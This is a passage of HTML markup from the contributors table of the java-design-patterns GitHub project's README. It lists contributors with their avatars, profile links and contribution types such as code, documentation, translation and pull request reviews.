<td align="center" valign="top" width="14.28%"><a href="https://github.com/DEV-VRUPER"><img src="https://avatars.githubusercontent.com/u/30525467?v=4?s=100" width="100px;" alt="VR"/><br /><sub><b>VR</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=DEV-VRUPER" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JackieNim"><img src="https://avatars.githubusercontent.com/u/4138836?v=4?s=100" width="100px;" alt="JackieNim"/><br /><sub><b>JackieNim</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JackieNim" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/EdisonE3"><img src="https://avatars.githubusercontent.com/u/52118917?v=4?s=100" width="100px;" alt="EdisonE3"/><br /><sub><b>EdisonE3</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=EdisonE3" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/tao-sun2"><img src="https://avatars.githubusercontent.com/u/66189688?v=4?s=100" width="100px;" alt="Tao"/><br /><sub><b>Tao</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=tao-sun2" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JuanManuelAbate"><img src="https://avatars.githubusercontent.com/u/16357060?v=4?s=100" width="100px;" alt="Juan Manuel Abate"/><br /><sub><b>Juan Manuel Abate</b></sub></a><br /><a href="#translation-JuanManuelAbate" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Xenilo137"><img src="https://avatars.githubusercontent.com/u/24865069?v=4?s=100" width="100px;" alt="Xenilo137"/><br /><sub><b>Xenilo137</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Xenilo137" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/souzasamuel/"><img src="https://avatars.githubusercontent.com/u/17254162?v=4?s=100" width="100px;" alt="Samuel Souza"/><br /><sub><b>Samuel Souza</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=samuelpsouza" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/marlo2222"><img src="https://avatars.githubusercontent.com/u/40809563?v=4?s=100" width="100px;" alt="Marlo Henrique"/><br /><sub><b>Marlo Henrique</b></sub></a><br /><a href="#translation-marlo2222" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/AndriyPyzh"><img src="https://avatars.githubusercontent.com/u/57706635?v=4?s=100" width="100px;" alt="AndriyPyzh"/><br /><sub><b>AndriyPyzh</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=AndriyPyzh" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/karthikbhat13"><img src="https://avatars.githubusercontent.com/u/22431014?v=4?s=100" width="100px;" alt="karthikbhat13"/><br /><sub><b>karthikbhat13</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=karthikbhat13" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/mortezaadi"><img src="https://avatars.githubusercontent.com/u/1329687?v=4?s=100" width="100px;" alt="Morteza Adigozalpour"/><br /><sub><b>Morteza Adigozalpour</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mortezaadi" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://stackoverflow.com/users/308565/nagaraj-tantri"><img src="https://avatars.githubusercontent.com/u/3784194?v=4?s=100" width="100px;" alt="Nagaraj Tantri"/><br /><sub><b>Nagaraj Tantri</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=tan31989" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/frascu"><img src="https://avatars.githubusercontent.com/u/7107651?v=4?s=100" width="100px;" alt="Francesco Scuccimarri"/><br /><sub><b>Francesco Scuccimarri</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=frascu" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Conhan93"><img src="https://avatars.githubusercontent.com/u/71334757?v=4?s=100" width="100px;" alt="Conny Hansson"/><br /><sub><b>Conny Hansson</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Conhan93" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://muklasr.medium.com"><img src="https://avatars.githubusercontent.com/u/43443753?v=4?s=100" width="100px;" alt="Muklas Rahmanto"/><br /><sub><b>Muklas Rahmanto</b></sub></a><br /><a href="#translation-muklasr" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/VxDxK"><img src="https://avatars.githubusercontent.com/u/38704817?v=4?s=100" width="100px;" alt="Vadim"/><br /><sub><b>Vadim</b></sub></a><br /><a href="#translation-VxDxK" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/sims-keshri"><img src="https://avatars.githubusercontent.com/u/62168475?v=4?s=100" width="100px;" alt="Simran Keshri"/><br /><sub><b>Simran Keshri</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=sims-keshri" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://programacionymas.com"><img src="https://avatars.githubusercontent.com/u/3101238?v=4?s=100" width="100px;" alt="JCarlos"/><br /><sub><b>JCarlos</b></sub></a><br /><a href="#translation-JCarlosR" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.mrmoshkel.ir"><img src="https://avatars.githubusercontent.com/u/60359433?v=4?s=100" width="100px;" alt="Ali Ghasemi"/><br /><sub><b>Ali Ghasemi</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Dev-AliGhasemi" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="http://carlfx.wordpress.com"><img src="https://avatars.githubusercontent.com/u/1594624?v=4?s=100" width="100px;" alt="Carl Dea"/><br /><sub><b>Carl Dea</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=carldea" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Mozartuss"><img src="https://avatars.githubusercontent.com/u/32893711?v=4?s=100" width="100px;" alt="Mozartus"/><br /><sub><b>Mozartus</b></sub></a><br /><a href="#translation-Mozartuss" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ManviGoel26"><img src="https://avatars.githubusercontent.com/u/55682355?v=4?s=100" width="100px;" alt="Manvi Goel"/><br /><sub><b>Manvi Goel</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ManviGoel26" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/blueberry404"><img src="https://avatars.githubusercontent.com/u/39243539?v=4?s=100" width="100px;" alt="Anum Amin"/><br /><sub><b>Anum Amin</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=blueberry404" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://uh-zz.github.io/blog/"><img src="https://avatars.githubusercontent.com/u/47747828?v=4?s=100" width="100px;" alt="Reo Uehara"/><br /><sub><b>Reo Uehara</b></sub></a><br /><a href="#translation-uh-zz" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Fiordy"><img src="https://avatars.githubusercontent.com/u/53420573?v=4?s=100" width="100px;" alt="Fiordy"/><br /><sub><b>Fiordy</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Fiordy" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/harshalkh"><img src="https://avatars.githubusercontent.com/u/37841724?v=4?s=100" width="100px;" alt="Harshal"/><br /><sub><b>Harshal</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=harshalkh" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/abhinav-vashisth-06613b208/"><img src="https://avatars.githubusercontent.com/u/89785800?v=4?s=100" width="100px;" alt="Abhinav Vashisth"/><br /><sub><b>Abhinav Vashisth</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=vashisthabhinav" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://no website"><img src="https://avatars.githubusercontent.com/u/47126749?v=4?s=100" width="100px;" alt="Kevin"/><br /><sub><b>Kevin</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3AKevinyl3" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=Kevinyl3" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Shrirang97"><img src="https://avatars.githubusercontent.com/u/28738668?v=4?s=100" width="100px;" alt="Shrirang"/><br /><sub><b>Shrirang</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3AShrirang97" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=Shrirang97" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/interactwithankush"><img src="https://avatars.githubusercontent.com/u/18613127?v=4?s=100" width="100px;" alt="interactwithankush"/><br /><sub><b>interactwithankush</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=interactwithankush" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/yuhangbin"><img src="https://avatars.githubusercontent.com/u/17566866?v=4?s=100" width="100px;" alt="CharlieYu"/><br /><sub><b>CharlieYu</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=yuhangbin" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Leisterbecker"><img src="https://avatars.githubusercontent.com/u/20650323?v=4?s=100" width="100px;" alt="Leisterbecker"/><br /><sub><b>Leisterbecker</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Leisterbecker" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://rosaecrucis.cn"><img src="https://avatars.githubusercontent.com/u/35420129?v=4?s=100" width="100px;" alt="DragonDreamer"/><br /><sub><b>DragonDreamer</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=castleKing1997" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ShivanshCharak"><img src="https://avatars.githubusercontent.com/u/96943825?v=4?s=100" width="100px;" alt="ShivanshCharak"/><br /><sub><b>ShivanshCharak</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ShivanshCharak" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/HattoriHenzo"><img src="https://avatars.githubusercontent.com/u/5141285?v=4?s=100" width="100px;" alt="HattoriHenzo"/><br /><sub><b>HattoriHenzo</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=HattoriHenzo" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://arnabsen.bio.link"><img src="https://avatars.githubusercontent.com/u/51032928?v=4?s=100" width="100px;" alt="Arnab Sen"/><br /><sub><b>Arnab Sen</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=arnabsen1729" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://javaforlife.wordpress.com/"><img src="https://avatars.githubusercontent.com/u/1470114?v=4?s=100" width="100px;" alt="MohanaRao SV"/><br /><sub><b>MohanaRao SV</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mohanaraosv" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/yonatankarp"><img src="https://avatars.githubusercontent.com/u/14914865?v=4?s=100" width="100px;" alt="Yonatan Karp-Rudin"/><br /><sub><b>Yonatan Karp-Rudin</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=yonatankarp" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Ayonatankarp" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/GustavoOliani"><img src="https://avatars.githubusercontent.com/u/25756378?v=4?s=100" width="100px;" alt="Oliani"/><br /><sub><b>Oliani</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=GustavoOliani" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Liu-rj"><img src="https://avatars.githubusercontent.com/u/64826925?v=4?s=100" width="100px;" alt="Renjie LIU"/><br /><sub><b>Renjie LIU</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Liu-rj" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/TreeFireMen"><img src="https://avatars.githubusercontent.com/u/54127694?v=4?s=100" width="100px;" alt="perfect guy"/><br /><sub><b>perfect guy</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=TreeFireMen" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/xyllq999"><img src="https://avatars.githubusercontent.com/u/72729433?v=4?s=100" width="100px;" alt="xyllq999"/><br /><sub><b>xyllq999</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=xyllq999" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/dmdbilal"><img src="https://avatars.githubusercontent.com/u/91405690?v=4?s=100" width="100px;" alt="Mohamed Bilal"/><br /><sub><b>Mohamed Bilal</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=dmdbilal" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/karshilsheth/"><img src="https://avatars.githubusercontent.com/u/37497287?v=4?s=100" width="100px;" alt="Karshil sheth"/><br /><sub><b>Karshil sheth</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=karshil2309" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/kongleong86"><img src="https://avatars.githubusercontent.com/u/3745455?v=4?s=100" width="100px;" alt="kongleong86"/><br /><sub><b>kongleong86</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=kongleong86" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/aitorfi"><img src="https://avatars.githubusercontent.com/u/64830228?v=4?s=100" width="100px;" alt="Aitor Fidalgo Sánchez"/><br /><sub><b>Aitor Fidalgo Sánchez</b></sub></a><br /><a href="#translation-aitorfi" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=aitorfi" title="Documentation">📖</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Aaitorfi" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/HeVictor"><img src="https://avatars.githubusercontent.com/u/20733994?v=4?s=100" width="100px;" alt="Victor He"/><br /><sub><b>Victor He</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=HeVictor" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="http://m-inh.github.io/"><img src="https://avatars.githubusercontent.com/u/10632233?v=4?s=100" width="100px;" alt="Minh Nguyen"/><br /><sub><b>Minh Nguyen</b></sub></a><br /><a href="#translation-m-inh" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=m-inh" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/HeVictor"><img src="https://avatars.githubusercontent.com/u/20733994?v=4?s=100" width="100px;" alt="Victor He"/><br /><sub><b>Victor He</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=HeVictor" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/YichuanSun"><img src="https://avatars.githubusercontent.com/u/30886176?v=4?s=100" width="100px;" alt="yiichan"/><br /><sub><b>yiichan</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=YichuanSun" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/PanSem"><img src="https://avatars.githubusercontent.com/u/43316964?v=4?s=100" width="100px;" alt="Pan Sem"/><br /><sub><b>Pan Sem</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=PanSem" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/zhoumengyks"><img src="https://avatars.githubusercontent.com/u/111965739?v=4?s=100" width="100px;" alt="zhoumengyks"/><br /><sub><b>zhoumengyks</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=zhoumengyks" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/you"><img src="https://avatars.githubusercontent.com/u/57100752?v=4?s=100" width="100px;" alt="you"/><br /><sub><b>you</b></sub></a><br /><a href="#translation-you" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/thanks"><img src="https://avatars.githubusercontent.com/u/1121545?v=4?s=100" width="100px;" alt="Thanks"/><br /><sub><b>Thanks</b></sub></a><br /><a href="#translation-Thanks" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/lazy-pr0grammer"><img src="https://avatars.githubusercontent.com/u/87204946?v=4?s=100" width="100px;" alt="LazyProgrammer"/><br /><sub><b>LazyProgrammer</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=lazy-pr0grammer" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/mdfaizanahmed786"><img src="https://avatars.githubusercontent.com/u/85175130?v=4?s=100" width="100px;" alt="Mohammed Faizan Ahmed"/><br /><sub><b>Mohammed Faizan Ahmed</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mdfaizanahmed786" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/burno1"><img src="https://avatars.githubusercontent.com/u/39165280?v=4?s=100" width="100px;" alt="Bruno Fernandes"/><br /><sub><b>Bruno Fernandes</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=burno1" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/SammanPali"><img src="https://avatars.githubusercontent.com/u/110753804?v=4?s=100" width="100px;" alt="SammanPali"/><br /><sub><b>SammanPali</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=SammanPali" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/LeseChe"><img src="https://avatars.githubusercontent.com/u/79553089?v=4?s=100" width="100px;" alt="Qixiang Chen"/><br /><sub><b>Qixiang Chen</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=LeseChe" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/shouryamanekar"><img src="https://avatars.githubusercontent.com/u/72398499?v=4?s=100" width="100px;" alt="Shourya Manekar"/><br /><sub><b>Shourya Manekar</b></sub></a><br /><a href="#translation-shouryamanekar" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://seongkyu-lim.github.io/Blog/"><img src="https://avatars.githubusercontent.com/u/55138532?v=4?s=100" width="100px;" alt="Alan"/><br /><sub><b>Alan</b></sub></a><br /><a href="#translation-seongkyu-lim" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JanFidor"><img src="https://avatars.githubusercontent.com/u/66260538?v=4?s=100" width="100px;" alt="JanFidor"/><br /><sub><b>JanFidor</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JanFidor" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=JanFidor" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/drakulavich"><img src="https://avatars.githubusercontent.com/u/129260?v=4?s=100" width="100px;" alt="Anton Yakutovich"/><br /><sub><b>Anton Yakutovich</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=drakulavich" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/steph88ss"><img src="https://avatars.githubusercontent.com/u/111041594?v=4?s=100" width="100px;" alt="steph88ss"/><br /><sub><b>steph88ss</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=steph88ss" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://yujanranjitkar.com.np"><img src="https://avatars.githubusercontent.com/u/63731234?v=4?s=100" width="100px;" alt="Yujan Ranjitkar"/><br /><sub><b>Yujan Ranjitkar</b></sub></a><br /><a href="#translation-0xYujan" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/yusha-g"><img src="https://avatars.githubusercontent.com/u/110189579?v=4?s=100" width="100px;" alt="yusha-g"/><br /><sub><b>yusha-g</b></sub></a><br /><a href="#translation-yusha-g" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/robertvolkmann"><img src="https://avatars.githubusercontent.com/u/20912167?v=4?s=100" width="100px;" alt="Robert Volkmann"/><br /><sub><b>Robert Volkmann</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=robertvolkmann" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Arobertvolkmann" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/bipin-k"><img src="https://avatars.githubusercontent.com/u/21119358?v=4?s=100" width="100px;" alt="Bipin Kumar Chaurasia"/><br /><sub><b>Bipin Kumar Chaurasia</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=bipin-k" title="Documentation">📖</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/KyleSong30"><img src="https://avatars.githubusercontent.com/u/100892032?v=4?s=100" width="100px;" alt="KyleSong30"/><br /><sub><b>KyleSong30</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=KyleSong30" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/u7281975"><img src="https://avatars.githubusercontent.com/u/111095623?v=4?s=100" width="100px;" alt="u7281975"/><br /><sub><b>u7281975</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=u7281975" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/harshalkhachane"><img src="https://avatars.githubusercontent.com/u/92866584?v=4?s=100" width="100px;" alt="harshalkhachane"/><br /><sub><b>harshalkhachane</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=harshalkhachane" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ec-026"><img src="https://avatars.githubusercontent.com/u/95495584?v=4?s=100" width="100px;" alt="Tejas Singh"/><br /><sub><b>Tejas Singh</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ec-026" title="Documentation">📖</a> <a href="#translation-ec-026" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://journal.artfuldev.com"><img src="https://avatars.githubusercontent.com/u/3091087?v=4?s=100" width="100px;" alt="Sudarsan Balaji"/><br /><sub><b>Sudarsan Balaji</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=artfuldev" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/vaibhav-agr/"><img src="https://avatars.githubusercontent.com/u/78676331?v=4?s=100" width="100px;" alt="Vaibhav Agrawal"/><br /><sub><b>Vaibhav Agrawal</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=vaibhav-if" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/u7275858"><img src="https://avatars.githubusercontent.com/u/110969489?v=4?s=100" width="100px;" alt="u7275858"/><br /><sub><b>u7275858</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=u7275858" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://gist.github.com/prasad-333"><img src="https://avatars.githubusercontent.com/u/37048768?v=4?s=100" width="100px;" alt="prasad-333"/><br /><sub><b>prasad-333</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=prasad-333" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JurenXu"><img src="https://avatars.githubusercontent.com/u/101047547?v=4?s=100" width="100px;" alt="JurenXu"/><br /><sub><b>JurenXu</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JurenXu" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/murphShaw"><img src="https://avatars.githubusercontent.com/u/111167533?v=4?s=100" width="100px;" alt="murphShaw"/><br /><sub><b>murphShaw</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=murphShaw" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/XianWu99"><img src="https://avatars.githubusercontent.com/u/111103319?v=4?s=100" width="100px;" alt="XianWu99"/><br /><sub><b>XianWu99</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=XianWu99" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JoshuaSinglaANU"><img src="https://avatars.githubusercontent.com/u/109902734?v=4?s=100" width="100px;" alt="JoshuaSinglaANU"/><br /><sub><b>JoshuaSinglaANU</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JoshuaSinglaANU" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://www.linkedin.com/in/ricardo-ramos-moura"><img src="https://avatars.githubusercontent.com/u/36955909?v=4?s=100" width="100px;" alt="Ricardo Ramos"/><br /><sub><b>Ricardo Ramos</b></sub></a><br /><a href="#translation-ricardo-ramos-moura" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://zhrfrd.github.io/faridzouheir/"><img src="https://avatars.githubusercontent.com/u/72947724?v=4?s=100" width="100px;" alt="Farid Zouheir"/><br /><sub><b>Farid Zouheir</b></sub></a><br /><a href="#translation-zhrfrd" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/vinicius-beraldo/"><img src="https://avatars.githubusercontent.com/u/91766068?v=4?s=100" width="100px;" alt="Vinícius A. B."/><br /><sub><b>Vinícius A. B.</b></sub></a><br /><a href="#translation-Viniberaldo" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://www.linkedin.com/in/stefanel-stan/"><img src="https://avatars.githubusercontent.com/u/25990078?v=4?s=100" width="100px;" alt="Stefanel Stan"/><br /><sub><b>Stefanel Stan</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=StefanelStan" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/bhati00"><img src="https://avatars.githubusercontent.com/u/79313705?v=4?s=100" width="100px;" alt="Prince bhati"/><br /><sub><b>Prince bhati</b></sub></a><br /><a href="#translation-bhati00" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/wulangcode"><img src="https://avatars.githubusercontent.com/u/48200100?v=4?s=100" width="100px;" alt="WuLang"/><br /><sub><b>WuLang</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=wulangcode" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/hkattt"><img src="https://avatars.githubusercontent.com/u/54300585?v=4?s=100" width="100px;" alt="Hugo Kat"/><br /><sub><b>Hugo Kat</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=hkattt" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/shivu2002a"><img src="https://avatars.githubusercontent.com/u/88313126?v=4?s=100" width="100px;" alt="Shivanagouda Agasimani"/><br /><sub><b>Shivanagouda Agasimani</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=shivu2002a" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Ap284"><img src="https://avatars.githubusercontent.com/u/13827254?v=4?s=100" width="100px;" alt="Aparna"/><br /><sub><b>Aparna</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Ap284" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/girolamo-giordano"><img src="https://avatars.githubusercontent.com/u/56109364?v=4?s=100" width="100px;" alt="Girolamo Giordano"/><br /><sub><b>Girolamo Giordano</b></sub></a><br /><a href="#translation-girolamo-giordano" title="Translation">🌍</a></td>
